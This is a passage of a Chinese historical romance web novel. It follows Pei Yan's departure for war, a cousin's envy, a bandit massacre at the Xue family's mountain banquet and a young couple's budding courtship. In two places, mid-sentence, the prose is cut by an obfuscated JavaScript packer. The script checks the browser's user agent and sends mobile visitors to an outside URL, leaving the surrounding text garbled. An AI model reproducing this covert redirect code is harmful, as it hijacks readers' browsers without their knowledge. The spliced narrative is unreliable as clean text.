她看着熟悉而刚毅的身影,一时间五味杂陈。 宽敞的官道上,裴砚也越过人群扫见了长亭里熟悉的身影。 宁王虽没跟云娆单独见面过,却早已记住了铁树开花迎娶的小姑娘的样貌。等到队伍离城门渐远,周遭没了旁人,他便打趣裴砚,“果真不是光棍了,出征时有人送行惦记着,这感觉不错吧?” 裴砚听闻,扯着嘴角笑了笑。 说实话,被人惦记的滋味确实很好,那么个娇滴滴的美人儿殷殷叮嘱、遥遥目送,让他心里都添了一丝牵挂。 只可惜她适合坐在安静秀致的书窗下潜心雕刻,而他与京城缘分太浅,恐怕更宜驰骋于边塞黄沙,难以给她琴瑟在御的静好岁月。 心里莫名有稍许难受。 裴砚不习惯太过儿女情长,很快将其驱散,远眺着阔朗前路,道:“惦记不了几回了,往后还是得给她送回娘家。” 宁王闻言一愣,“怎么回事?” 两人并辔走在最前面,跟旁人隔着三四匹马的距离,裴砚便稍稍倾身,将心中顾虑和跟云娆的和离之约简约道明,免得他老拿云娆来打趣。 宁王听罢,径直送了他个白眼。 “不开窍的东西!你既这么为她着想,往后她要找新的夫君,是不是还得你亲自掌眼把关才行?” 裴砚被怼,也只是道:“离开侯府,她能开心些”。 宁王与他相识十余年,战场上生死托付的好友,更是深知彼此性情。他见识过裴砚未成亲时粗豪率直、对侯府不屑一顾的光棍做派,也见识过这阵子裴砚提及云娆时眼藏笑意,甚至赶着回侯府的做派,焉能瞧不出其中区别? 嘲讽之余,还是提醒道:“她年纪小不知情事,你可别胡来。当心小美人真被旁人拐走!” …… 裴砚和云娆这亲事,不止宁王牵挂,别处也还有人惦记着。 甜井巷的江家,因着裴砚的缘故,江云影母女今日也去凑热闹看了看宁王率众出征的情形。 等看完热闹回到府里,母女俩直奔井水凉爽的照月轩,消去满身暑气。 过后祁氏自去歇息,江云影却有点怏怏不乐。 ——还是为着她的婚事。 先前太夫人为她说定周翰林的公子时,江云影其实还颇为满意。直到裴砚携战功风光回京,带着云娆回门时,她瞧着姐夫端毅慨然的身姿气度和对云娆的温和态度,想着侯门武将青云直上的前路,再去看那周公子时,当真如云泥之别。 再后来裴玉琳出阁,她随徐氏到侯府赴宴,看着她从未见过的簪缨繁华气象,羡慕得好几晚都没睡着。 而今裴砚出征,更是众目所瞩。 骁勇善战的昂藏男儿,那气度绝非文弱清雅的周公子可比,哪怕是跟身为皇子的宁王在一起也不遑多让。 那样的英姿,怎不令人倾慕? 更何况,云娆原只是寻常小官之女,嫁给裴砚后却平白得封五等诰命——那可是整个江家都未曾有过的荣光。若这回裴砚能平定流民之乱,战功加身时必定更胜从前,云娆身为妻室,必定随之蒸蒸日上。 一道长大的姐妹,原本相差甚小,如今一个成了朝廷册封的五等令人,而她却要嫁予一个连进士都还没考中的儒生。 往后她还如何出去见人? 便是回了娘家,她在云娆跟前又如何与之争锋? 江云影想着这些,只觉五内煎迫,从头到脚哪哪都不舒服。 上回她因一念之差而错过了嫁进侯府的大好前程,如今难道还要马马虎虎的交代了自家终身吗? 丫鬟红珠在旁边帮着做绣品,她抱膝在床榻上呆坐许久,几番迟疑之后,终究起身出了东竹馆,前往老夫人所住的正屋。 老夫人小憩才醒,正准备收拾收拾用晚饭呢,见她垂丧着脸进来,不由道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853930|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么又不高兴了?” 江云影贴坐在她的身边,复杂的心绪不知该如何启齿,她绞着衣襟,片刻之后竟自滚下泪来。 慌得老夫人忙将她揽在怀里,抚着后背安慰道:“这是受什么委屈了,快跟祖母说。” 贴身服侍的妈妈颇有眼色地退了出去。 江云影嗫喏着,好半晌,才鼓起勇气道:“祖母,我不想嫁了。” 老夫人听闻,惊得下巴差点掉下来。 …… 靖远侯府里,这会儿倒是正热闹。 裴砚出征千里之外是朝廷的事,于侯府女眷而言,如今最要紧的事情却还是避暑。 先前薛氏已让人将鹿岭别苑的屋舍收拾出来,这会儿两房儿媳都赶着傍晚来给太夫人请安,她便趁势说起了此事。 “东西都已经齐备,连果蔬茶点都让人预备妥当了。趁着这两日不下雨,适宜赶路,咱们就去鹿岭别苑住上大半个月如何?”她陪坐在太夫人身边,仍是平素雷厉风行的做派,“若是都去,可得早点准备车马。” 太夫人便笑道:“这天儿确实太热了。这阵子我身子骨也好了很多,就一起去散散心吧。” 她既发话,崔氏和范氏自然也得去。 剩下明氏和裴雪琼也觉三伏天在城里酷热难耐,想去鹿岭避避暑,还商量着用那边甘冽的泉水烹茶。 孙氏和裴锦瑶都听从范氏安排。 秦氏有点儿作难,向范氏道:“这些天夫君的身子又不大爽快,需小心照看着。这时节又不好让他车马劳顿,我便留在府里照看吧。” 范氏惦记着儿子,自然愿意她留守在侧。 云娆则不自觉看了秦氏一眼。 这样酷暑难耐的天气,谁不想去郊外避暑纳凉?秦氏肯留在府里,必是老五裴见祐这些天身子确实不容乐观。 云娆今早去惠荫堂问安时就见秦氏眼底有淡淡的淤青,走过拐角时甚至还晃了晃,方才又有些咳嗽,只频频拿喝茶压着。如今看来,恐怕是照顾裴见祐时受累,自身也有点儿撑不住。 这般境况,若所有人都去鹿岭别苑,府里就只剩秦氏撑着,万一她有急事可怎么好? 况且七月初四是好友沈骊英出阁的日子,七月初八又是娘家小侄儿满月之时,这两件事她定要亲自去的。 鹿岭别苑虽则凉爽宜人,离京城却有近百里,她若跟着去避暑,往返时未免麻烦。 便抬眸道:“儿媳这两日有些琐事不便出京,怕是不能跟去伺候婆母了。”说着间看向范氏。 范氏屡次吃瘪后就不再如从前般乱摆婆母的款儿,如今又对护短的裴砚十分忌惮,明面上倒是宽和了许多。虽则心中不满,却也只颔首道:“这倒无妨,你既有事,留在府里就是了。” 说话间瞥了眼薛氏,那位像是没听见,只顾着跟太夫人说话。 避暑的事情就这样定了下来。 隔日前晌,薛氏带头张罗,女眷们簇拥着太夫人登车启程,带上尚未成亲的裴见熠兄弟两个,俱往鹿岭别苑而去。 玉娆和秦氏送她们出门,等成群的仆妇丫鬟随车马远去,回到府里时,却无端在三伏酷热的天气里觉出种清净凉爽来。 于是闲聊着回去,各自纳凉。 夏日天长,难得没了婆母长辈的杂事相扰,云娆只把午后的光阴都放在雕版画儿上,捉了小刀慢慢雕刻贺掌柜托付的第二张版画。 待得傍晚暑热稍散,因记挂着秦氏的身子,便去听枫馆坐坐。 听枫馆虽不像枕峦春馆那样偏僻,因是给裴见祐养病挑的,其实也颇为僻静,周遭花木亭台俱全,这时节亦有半池荷花。 云娆与秦氏日渐熟稔,闲时也偶尔互相串门说话,秦氏瞧过她藏着的雕版,她也曾在秦氏那座满目琳琅的药房里盘桓。 此刻天色将暮,倦鸟归巢。 云娆进去时小夫妻俩才刚用完饭,正在院里葡萄架下纳凉。 见着云娆,裴见祐先笑道:“二嫂来啦。” 他自幼身体羸弱,靠着药罐子才熬到年长娶妻。不过他心静,幼时在病榻上不便动弹,便寻了各色书来读,经史百家无所不包,倒养出了一副好脾性,连带面相都有静气,虽则孱弱苍白了些,却十分清雅沉静。 迎娶秦氏之前,他几乎是靠轮椅行路,这两年经过秦氏夜以继日的调理照料,倒是能慢慢走路了。 只是这阵子病情稍有反复,仍不便下地用力。 云娆知道他的病情,看他似要撑着坐起来,忙道:“五叔还是歇着吧。我饭后闲着没事,随意走一走,就当消食了。” 那边秦氏笑道:“我才刚让人拿井水湃了瓜果,二嫂先坐,待会一道尝尝。” 说着,又让丫鬟去沏茶。 云娆便坐在旁边摇动团扇纳凉。 这院里常年熬着汤药,秦氏的药房里又备了各色常用的药材,倒让各处都染了些清苦的药气,闻起来别有滋味。 风拂过庭院,吹动桌上一册医书。 云娆本就是爱看书的人,瞧见上面画着的草药,不免好奇询问。秦氏遂跟她闲聊些药草调理等事,待丫鬟捧来凉沁沁的瓜果,一道用了些,直到暮色四合时才各自散去。 翌日,云娆仍静心雕刻,得空时去秦氏那里瞧瞧,若有忙不过来的便帮着搭把手。 虽说也有忙的时候,心里倒也清净。 百里之外的鹿岭别苑,这会儿却被突生的变故搅得一团乱麻。太夫人受惊病倒、薛氏重伤在榻,裴雪琼也被吓得心惊肉跳,正由谢嘉言摸黑护送着往回走。 33. 表白 京西的鹿岭坐落在群山之间,因山势颇高,加之周遭都是起伏的峰峦密林,盛夏时节仍有清凉之意,是京城外避暑的好地方。 裴家在此筑有别苑,旁的高门也不例外。 这回薛氏安排阖家女眷来此避暑,才到这里安顿下就碰见了熟人,难免彼此招呼寒暄,且薛氏的娘家安国公府也在,就愈发热闹了。 来到鹿岭的头两日,裴家女眷还只在自家别苑消暑闲游,从第三日起就陆续交游起来了。 今日是这家请客临溪品茶,明日那家聚众林中射猎,后日又是寺里讲经说法,凉爽的山林之间自然有许多事情可做。 相熟的高门轮流做东,这日正好到了薛家。 薛家既有公府之尊,又出了位贤妃,加上当家少夫人是位老王爷的孙女,威势声名皆远超靖远侯府,在京城里也算排得上号的人家。 他家设宴,自是宾客如云。 傍晚时分夕阳渐倾,山风也愈发凉爽。 薛家的别苑筑于山腰,借着山势次第错落的修出亭台屋舍,又选了视野最好的地方建了宽敞游廊。这游廊描金绘彩,再悬上帘帐灯笼和雕花小窗点缀,这会儿摆上宴席和鲜花,倒正是凭栏饮酒的好光景。 男女宾客分席而坐,就着美酒赏玩山间风光,夕阳给对面的半坡枫树撒了淡金的光泽,直到摇曳的晚风将余光渐渐吹落。 暮色四合时,宾客渐已半醉。 仆妇丫鬟们秩序井然地为宾客掌灯,薛家管事将小戏子们领到不远处的戏台,丝竹声里准备夜演。 混乱便在此时悄然而至。 不知是从哪里窜出来十几个悍匪,都是家丁仆从的打扮,手里却拎着森寒的兵刃,也不管宾客的身份姓名,闯进宴席堆里就胡乱砍杀起来。 尖叫四起,薛家的护卫们急匆匆地追上来堵截,那些悍匪却像是源源不断,有冲向薛家女眷的,也有在人群里胡乱砍杀的。 各府随从闻讯来救,场面霎时乱作一团。 裴雪琼坐得离薛老夫人不远不近,原本跟小姐妹闲聊品茶的,听见席末的动静,惊慌之余下意识就起身往母亲那里去。 混乱中的游廊难免拥挤,她还没迈出两步,忽觉胳膊被一只有力的手攥住,拽着她就要往僻静处走。 她赶紧拽紧贴身服侍的丫鬟春鸢。 主仆俩就这么被人拽着踉跄下了游廊一侧的石阶,迅速穿过混乱的人群,绕到后面僻静些的一处暖阁。 这短暂的间隙里,裴雪琼也终于看清了对方—— 竟然是谢嘉言! 混乱的砍杀里哀嚎声此起彼伏,悍匪们迅速逼近主席的薛家女眷,裴雪琼又是惊慌又是担忧亲人,频频回头往那边看,试图找到母亲和嫂嫂的身影。 耳畔却是少年温和又干脆的声音,“你去了没用,先躲着。” 谢嘉言带着主仆两个左穿右绕,很快就从混乱中抽身躲开,急促道:“这伙人像是寻仇来的,见人就砍,若不是仇恨高门权贵,就是想激起公愤仇恨薛家。” 他寻了个隐蔽而陈旧的阁楼,让裴雪琼和春鸢都躲进去,叮嘱道:“我去前面看看,你们藏着别动,当心遇见贼人。” 裴雪琼惊得心头乱跳,想着他说的有道理,便只点了点头。 谢嘉言待她俩藏好,又拿屋里堆着的杂物做些掩饰,便即转身出了阁楼,往游廊上去。 …… 游廊之上,果然已是一片狼藉。 果酒菜肴被撞得洒了满地,处处都有鲜血的痕迹,有被砍伤了惊慌逃开的,也有运气不好被一刀毙命的女眷,也有被各家护卫砍杀在地的悍匪,乱糟糟的触目惊心。 女眷们惊慌四散,护卫们还在跟悍匪缠斗。 那些匪徒像是杀红了眼,瞧见谢嘉言是高门公子的打扮,举着刀就要砍过来。 谢嘉言袖中匕首翻出,立时有血溅出。 鲜红的血洒向贵公子干净的衣衫,连带眼前都似掠过一抹血雾,谢嘉言微微一愣,不自觉看了眼匕首。 自幼习武且处境艰难,他虽是清秀少年,实则做事颇为利落,下手也向来果断,骑射和兵刃比试时甚少落于下风。 但这是头一次真正的伤人见血。 心底的不适瞬息而过,他一面以匕首制服匪徒,一面留意着游廊上的人往前走,走到尽头时也没瞧见眼熟的女眷。游廊不远处,逃出生天的女眷们慌不择路,依稀能看到裴家那位大夫人在一群人的簇拥下往僻静处跑。 谢嘉言暗自松了口气。 谢家女眷们这两日在鹿岭深处的道观打醮,今日只让他和年岁相若的堂兄来赴宴,并无女眷卷入乱局。裴雪琼的母亲既然无恙,终归能让人放心些。 他于是折身返回,与护卫们一道先将残余的几个匪徒制服。 待游廊上激战停歇,闻讯赶来的各家护卫分成两拨,一拨各处搜查避免还有匪徒藏身,一拨则将或死或伤的宾客们搬到住处安置。 夜色不知是何时降临的,将整个鹿岭笼罩在漆黑之中,唯有零星的灯火摇曳,将残席映照的阴森惨淡。 谢嘉言回到阁楼,里面的裴雪琼主仆安然无恙。 借着暗淡的天光瞧见他身上的血色,裴雪琼不由紧张道:“公子受伤了?” “没有,都是别人的。”谢嘉言冲她笑了笑,清秀的眉目间藏了几分腼腆,又道:“我方才瞧过了,令堂应该无妨。游廊上受伤的人里,也没瞧见那天跟你在一处的两位嫂嫂,想必没什么大碍。” 裴雪琼疑惑道:“哪两位嫂嫂?” “就是前次在白云岭陪你看马球的那两位,旁的我倒不太认识。” 那自然是云娆和明氏了。 裴雪琼得知明氏无恙,放心了不少。 至于在场的旁人,毕竟外头兵荒马乱,谢嘉言肯定不认识裴家那么多女眷,祖母和二婶她们的安危也只能回到自家住处再问了。 这样想着,她又望向少年。 谢嘉言像是知她所想,道:“外面贼人还没清干净,你们再躲会儿,等安生了,我送你们回去。” “好,多谢公子!” 裴雪琼目送他出了屋门,又跟春鸢好生躲起来,虽不知席上乱到了何种地步,但想着他身上的血迹和当时此起彼伏的哀嚎,终归心有余悸。 春鸢却在琢磨别的—— “这回真是多亏了谢公子帮忙。不过他眼神儿真好,上回在马球场,咱们离得那么远,他还能记住二少夫人和四少夫人的模样。” 这么一说,裴雪琼也意识到了。 上次在白云岭,她和两位嫂嫂是远远看马球赛的,她的心思固然扑在谢嘉言身上,可谢嘉言离得那么远,还要打马球,难道也分出了心神儿留意远处的她? 想起先前许多次不经意的视线相接,裴雪琼捏紧绣帕,明明是尚在危境担忧亲人的时节,心底里却还是无端浮起些欢喜。 …… 谢嘉言再次回来的时候,夜已稍深。 护卫们举着火把巡查了一圈后没再找到匪徒,想来蓄意生事的或死或伤,都已清查干净了。 他让裴雪琼和春鸢出了阁楼,低声道:“外头还有人在巡查,不过还有许多地方没人把守。不如我抄小路送姑娘回去?” 这般安排,自然是怕被旁人撞见,伤及裴雪琼的名声。 裴雪琼便含笑道谢,随他摸黑离开。 主仆俩缓了许久,又没瞧见鲜血横飞的乱象,更不曾被匪徒冲撞到,这会儿倒是已镇定下来了。 有谢嘉言在前面带路,裴雪琼也无需挑灯笼取亮,借着暗淡星光抄小路出了薛家的别苑,而后往自家走。 心里惦记着亲人,难免会加快步伐,不过视线却还是忍不住落在谢嘉言的身上。 深山的夜里十分安静,唯有风声和草虫轻鸣入耳。 她看着少年的背影,脑海里想起许多旧事。 裴雪琼第一次见到谢嘉言的时候才八岁,那是在一场宴席上,他跟玩伴们一起蹴鞠,累了就坐在花树底下擦汗。明明当时并没发生什么特别的事,裴雪琼却总觉得印象深刻,一直记得那个阳光温暖的午后,他坐在花树下的样子。 后来见面的次数越多,她总会不自觉留意他几分,但那也只是孩童的好奇罢了。 直到年岁愈长,少年渐成。 不知是什么时候起,她会在留意他的时候升起悄然的欢喜与羞怯,会不自觉地掩饰自己的心思,生恐被旁人察觉。 也不知是何时起,她察觉谢嘉言似也在暗中留意她,在不经意的视线相触时,令她心里骤起涟漪。 今日女眷如云,他最先来护着她。 已经到了谈婚论嫁的年纪,到侯府提亲的人其实不少,只是她不肯松口,崔氏便也没答应谁。但裴玉琳出阁后就剩她和裴锦瑶待嫁,这事儿终归拖不了太久。 若等不到他主动登门提亲,不如…… 裴雪琼走在静夜山路,心跳有点儿乱,思绪却渐渐清晰。 直到裴家的府门已遥遥在望,谢嘉言才停下脚步道:“剩的路不多了,姑娘自管回去,我跟在后面远远照看着就行。不然……”他低头拂过衣袖上的残叶,明明神情没什么变化,却无端让裴雪琼觉出几分黯然。 她抬起头,望向谢嘉言的眼睛。 从前的视线相接,每回都是一闪而过,两个人都不敢表露什么,哪怕出于礼仪行礼招呼,也都是守着规矩不敢多说话的。 这回她忽然这样看着他,谢嘉言固然故作镇定,心跳却还是漏了半拍。 裴雪琼终于鼓起勇气,轻声道:“不知公子可曾定下婚配?” 这话问得太直白,春鸢即便知晓自家姑娘暗藏的心思,闻言也惊愕地瞪大眼睛看向她。 就连谢嘉言都面露诧异,却也在那一瞬心跳骤疾。 裴雪琼问完就飞了脸,不敢再直视谢嘉言,只匆匆道:“今日多谢公子,回去时也珍重自身!”说罢,提着裙角匆匆跑了。 脸上无端发烫,哪怕夜风拂过也遮不住热意。 她拿手背试着脸上的温度,怕被门口的家丁看出异样,只装作一路跑回去累着了似的,垂着头踏进家门。 进门前远远瞥了眼,依稀还能看到少年郎站在原地的身影。 暗夜里,谢嘉言愣愣看着跑远的身影,胸腔里咚咚乱跳,就连手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14867938|155411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尖都有点微微的颤抖。 他岂会不想提亲? 相识数年,心思暗生,他对她的留意与惦念比裴雪琼更深不少。只是伯府庶子身份微妙,他又年纪有限身无功名,想娶侯府嫡女谈何容易? 高门中的两姓之好终究需要父母之命媒妁之言,他先前曾跟嫡母提起这亲事,却当即被嫡母骂了回去。 如今,无论如何,都要说动长辈登门提亲! …… 裴家别苑之内,裴雪琼和春鸢回去的时候,崔氏一面忙着照料婆母和儿媳薛氏,一面如热锅蚂蚁般盼着消息。 明氏看她都快上火了,只连连劝道:“母亲不必太担心,四妹妹一向机灵,想必是在哪里躲着。若不然,真有个什么好歹,咱们的人肯定能找到的。”话虽如此,到底还是有些担心。 直到仆妇飞奔来报说四姑娘回来了,婆媳俩赶紧迎出去。 见女儿安然无恙,崔氏紧绷的心弦一松,差点就红了眼眶。 裴雪琼见母亲和嫂嫂无恙,欢喜之余,忙又关心旁人。 这一问,崔氏便忍不住叹了口气。 今日这场祸事来得突然,裴太夫人上了年纪,着实被惊得不轻。虽说歹人没朝上年纪的老人下手,却也被惊病在榻上,这会儿正发烧呢。 崔氏和明氏倒是侥幸躲过了一劫—— 那伙匪徒虽在席末乱砍乱杀,好容易冲到宴席的主位,便多奔着薛家女眷去了。崔氏婆媳算是薛家的姻亲,又不是薛家亲戚里地位最高的,离主位隔了十来步的位置,趁着他们抢先冲杀薛家的空档躲开,倒不曾被伤着。 只是大少夫人薛氏那会儿正跟娘家母亲说话,被人砍伤了一条胳膊,血流如注的当场就昏了过去。 这会儿才包好伤口,喝完药睡下了。 余下贺染和裴锦瑶表姐妹,一个崴了脚,一个摔得腿上淤青,当真是乱糟糟的。 崔氏叹息着,见女儿分毫未伤,又暗暗念佛,问她是怎么躲过去的。 当着仆妇丫鬟的面,裴雪琼只说是自己和春鸢躲起来,听见外头没动静了才悄悄回来的。等母女两个进屋没了旁人,她才拉着母亲坐在床榻上,将谢嘉言今日仗义相救的事细细说了。 崔氏听罢,不由道:“倒是个热心的孩子,回头得好生备份厚礼送过去!” “谢礼自然是要送的。还有件事……”裴雪琼稍稍迟疑,想着良机难得该趁热打铁,到底还是鼓起勇气,尝试着跟母亲吐露了心事。 …… 这场惊变搅得鹿岭几乎天翻地覆。 冲进宴席的歹徒或死或伤,无一逃脱,京兆府当晚就派了人手过去,一则连夜彻查审问,再则搜山封路,免得再生祸事。 赴宴的女眷中有不幸丧命的,也有重伤后躺在榻上动弹不得的,哪怕只是小伤受惊,对于锦绣高门里金尊玉贵的人而言也不是小事。 众人憎恨歹徒行凶之余,难免将视线转向薛家,必要查清这伙歹徒因何忽然行凶伤人,这场震惊朝野的凶案究竟因何而起。 事情没两天就传开了,自皇宫至民间,一时间议论纷纷。 云娆虽在深宅,也听到了一些消息。 她这两天其实并不算清闲。 雕版画的事情是她心之所钟,平素得空时便可静心雕琢,并不算费事,真正要她费心的是秦氏。 老五裴见祐旧疾复发,秦氏前些天尽心照料,虽说瞧着是小夫妻岁月静好的安然模样,实在日夜为夫君悬着心,照着病症尝试调理拔除病根的汤药时难免劳神。 她原就有些不适,前些天一门心思扑在裴见祐身上时还没觉得什么,等裴见祐熬过难关病情好转,心头绷着的弦一松,就有些支撑不住了。 那头病情才有了起色,她却病倒在了榻上。 主事的薛氏她们都不在,裴见祐又没好利落,云娆自然得多加操心,派人请郎中煎药之余,连着两个日夜都守在秦氏边上照料。 待秦氏病势好转,这满城乱飞的传闻也传到了耳边。 妯娌俩忙差人去打探自家消息。 仆妇留心打听了一圈,回来后禀道:“听说这事儿闹得厉害,别家还有死了人的。咱们府上是太夫人受惊病倒,大少夫人伤了胳膊,三姑娘和表姑娘也受了些伤,旁的倒是无碍。” “鹿岭这两日盘查得严,奴婢经了两道盘问才进去的。夫人说,这时节不好往来奔波,两位少夫人且放宽心,等太夫人身子养得稍微爽利些,她们自会回府里来。” 说着,又转述了几句崔氏和范氏的叮嘱。 云娆和秦氏应下,又让人挑了些上等的药材送到鹿岭别苑去,免得各处高门都忙于治病救人,带累裴家在山里缺医少药的。 过后便是沈骊英出阁之期。 鹿岭之事震惊朝野,兵马司次日便大张旗鼓地在京城巡逻搜查起来,免得还有贼人藏匿生事。 好在城里安生,暂且没什么风波。 云娆便带上贺峻驱车护身,接了母亲一道前往沈家道贺,到婚宴上坐定,周遭竟还在议论鹿岭之事。 听了半晌或真或假的小道消息,云娆总算明白了薛家这场祸事因何而来。 34. 卦象 鹿岭案震动朝野,因牵扯众多高门女眷,甚至还有皇亲受伤,承平帝自是十分重视。在京兆衙门连夜查问之余,还派了刑部和大理寺的人过问,免得众怨沸腾,难以平息。 参与查案的人多了,加之又是新鲜热乎举朝议论的大事儿,各家关怀案情之余,难免有消息泄露出来。 且当日冲入宴席砍杀的人并非训练过的死士,更没打算隐瞒意图,被捕后不待用刑便吐露了缘故—— 这场袭杀,确实是向薛家寻仇的。 大梁自太.祖登基开国以来已有百余年,高门贵户们盘根错节地享福久了,许多前朝有过的积弊和毛病也逐渐显露出来。譬如仗势行凶欺男霸女、侵吞田舍私并土地,尤其是京城之外天高皇帝远的地方,做起事来更是肆无忌惮。 只是上下勾结互相遮掩,没闹出大动静,便也没谁认真彻查罢了。 薛家是公府之尊,原就仗着爵位自视高人一等,后来女儿嫁入宫中圣眷甚隆,更是以皇亲自居,不知做了多少欺上瞒下的勾当。 如今这祸事,其实十几年前就埋下了因。 据那些被捕的匪徒招供,他们原先有的是寻常农户,有的家里靠小手艺谋生,只求吃饱饭安稳过日子。 十二年之前,薛家为了侵吞土地,在易州蒲城县指使家奴屡次赶在收成之前放火烧地,将许多良田屋舍变为焦土。因当时的知县是薛家门生,消息非但被瞒得密不透风,官府还派人催债逼迫,让原就艰难的农户流离失所。 之后的两三年里,仗着县城和州府的两重庇护,薛氏家奴肆意寻衅问罪侵占屋舍,抢夺镇上许多产业,逼得许多人家破人亡。 世事煎迫,男儿不得不聚啸山林。 这十年来流民渐多,山匪在跟官府周旋时也练出了浑身的本事,当初被欺压的孩童和少年也都长大成人。 其中一些人仍在山寨里讨生活,还有些人当年被薛家逼成了孤儿,时刻记着被逼迫至死的老幼亲人,仇恨亦随着年岁汹涌滋长。 到了能抗事的年纪,自然想找罪魁祸首报仇。 最初只是一人萌生此念,慢慢的结为朋伴,其中有被薛家欺压过的,也有憎恨其他高门的。这伙人暗中谋划,早早的派人在京城探听消息,又趁着流民作乱官府难以镇压的乱象陆续摸到京城之外,潜伏在薛家最爱避暑的鹿岭。 而后在宴席胡乱冲杀,震惊朝野。 据说当日行凶之人几乎都是家破人亡的孤儿,满腔仇恨积攒在心里,从没想过活着离开宴席。 旁人议论起来,有说他们心狠手辣伤及无辜女眷的,也有人说是那些勋爵人家作威作福、草菅人命在先,才招致这场复仇的。 说来说去,最后难免骂几句罪魁祸首的薛家。 因沈家只是个小官,婚宴上的亲朋好友也多是身份寻常之人,议论起薛家来更无需顾忌情面,除了这桩旧事,还牵扯出许多薛氏门人为非作歹的恶行。 云娆听着,几乎目瞪口呆。 她虽是侯府少夫人,从前却跟高门贵户毫无来往。且她父亲是为救百姓而死,兄长江伯宣也是个正派的读书人,往日常拿圣人之言教诲她,打小便觉得为官做宰应以百姓为重。 哪怕长大后听过许多公府侯门仗势欺人的传闻,也知道朝堂上的事不是圣人之言那么简单,却从没想过能作恶到这般地步。 听着那些传闻,想想平素薛氏在如意堂谈笑风生、自命不凡的模样,云娆恍惚之余甚至生出了好奇。 也不知薛氏得知这些,会作何感想? 不过这个问题没人给她答案。 因隔日女眷们回府时,几辆马车齐齐整整地停在那里,崔氏和明氏等人簇拥着太夫人回如意堂,裴见熠兄弟俩在侧帮忙,绮罗珠翠堆里独独不见了薛氏。 ——据说这回薛家死了位少夫人、重伤了好几位女眷,年已花甲的安国公夫人在重伤惊吓之下,也在那天夜里一命呜呼。 薛氏伤势未愈,听闻祖母过世、母亲重伤卧病,加之娘家出了那样大的事情,在禀明太夫人之后就已回娘家照料母亲去了。 …… 安国公府有丧,裴家自然得筹备吊唁之事。 且鹿岭宴席上出事的不止薛家,旁人或有不幸过身的,或有重伤卧病的,难免也得安排吊唁探望等事。 没了薛氏打理,这些自然都得崔氏亲自过问。 侯府里一时间忙碌起来,崔氏凡有顾不过来的事情便分派给明氏去做,一些不甚打紧的也会喊上孙氏和云娆等人帮忙。 范氏身为二房主母,自然也须出份力。 不过这回她却很乐意帮忙。 因春日里踏青赏花时范氏屡屡因薛家人而吃暗亏,且她和这位侄媳妇的嫌隙已经不浅,这回去鹿岭的时候她便有意避开薛家。 薛家夜宴的那天,她一大早就禀明了太夫人,借着静心祈福的由头,带了孙氏去看鹿岭深处的道观打醮。 婆媳俩惬意地逛了整日,回来时正好跟永宁伯府谢家的女眷搭伴,倒是心满意足。 瞧见昏迷的薛氏被人抬回来,范氏着实被惊得不轻。 到后来满城风雨,安国公府薛家都快要被人戳着脊梁骨骂了,她想起平素薛氏仗着出身不敬婶母的做派,心中实则暗生窃喜。 如今有往来探望等事,她也乐得出门,去听听别处是怎样嚼薛家舌根的。 回来后不好当着太夫人和崔氏的面揭薛家的短,便只跟孙氏说说。 孙氏听了,心里竟也暗觉痛快。 她本就是伯府所出,虽不及薛氏公府嫡女、贤妃堂妹那样惹眼,却也是勋爵人家的嫡出女儿。当初嫁到侯府二房,一半是为裴见泽的姿貌,一半儿是为了享福。 谁知碰上薛氏这么个妯娌,竟生生压得她没半点风头,平素还要委曲求全地避让其锋芒。 日子久了,心里怎会没有怨气? 如今薛家一朝出事,且闹得朝堂内外人尽皆知,眼瞧着是没法遮掩过去息事宁人了,孙氏看戏之余,也不免跟丈夫念叨。 “安国公府这事儿沸沸扬扬的,都快成京城的笑话了。那天去赴宴的原本多是跟他们交好的人家,如今这么一闹,倒多半转过头去骂薛家了。都说是他家欺人太甚,才惹出这祸事来。” 夏夜里难得清凉,夫妻俩坐在游廊边的一架紫藤下,将仆婢屏退后就着瓜果闲坐说话。 裴见泽这两日颇为忙碌,这会儿揽了妻子在怀,笑道:“可不是。这种事儿保不准别家也有,但闹得这么难看的,薛家也算是独一份。” “那薛家的爵位还保得住么?” 孙氏问这话时,眼底分明暗藏期待。 裴见泽岂能不明白她的意思? “若当真证据确凿是安国公指使人干的,那别说是贤妃娘娘,就是皇上都保不住这爵位。可若推在旁人身上,拿不住铁证,毕竟是十几年前的事,说不准会怎么处置。” 孙氏有点失望,“若闹成这样还能保住爵位,大嫂往后岂不是要把尾巴翘到天上去?大哥有她助力,就愈发……” 剩下的话她没说,裴见泽却心知肚明。 依靖远侯府从前的例子,爵位既不是非得给嫡长,也不是非得给儿子。看老侯爷如今的做派,倒像是想效法祖宗,把爵位直接给孙儿,若活得岁数够长,直接给曾孙都说不定。 这些孙儿里,老侯爷看重的一个是他裴见泽,另一个就是大哥裴见明。 裴见明之所以能入老侯爷的法眼,一则是嫡长孙的身份,再则也是因为安国公府这个岳家的助力。 一旦安国公府式微,甚至牵累到裴见明,这侯府的前程没准儿就能交在裴见泽的手上——反正爵位怎么都不可能给庶子,剩下老五裴见祐是个病秧子,老四裴见青又良善有余狠辣不足,绝不是能撑起门户的料子。 夫妻俩虽收敛锋芒,在裴见泽得老侯爷器重历练之后,没少暗里打算盘。 这会儿关起门说私房话,虽则提着薛家,实则还是为裴见明。 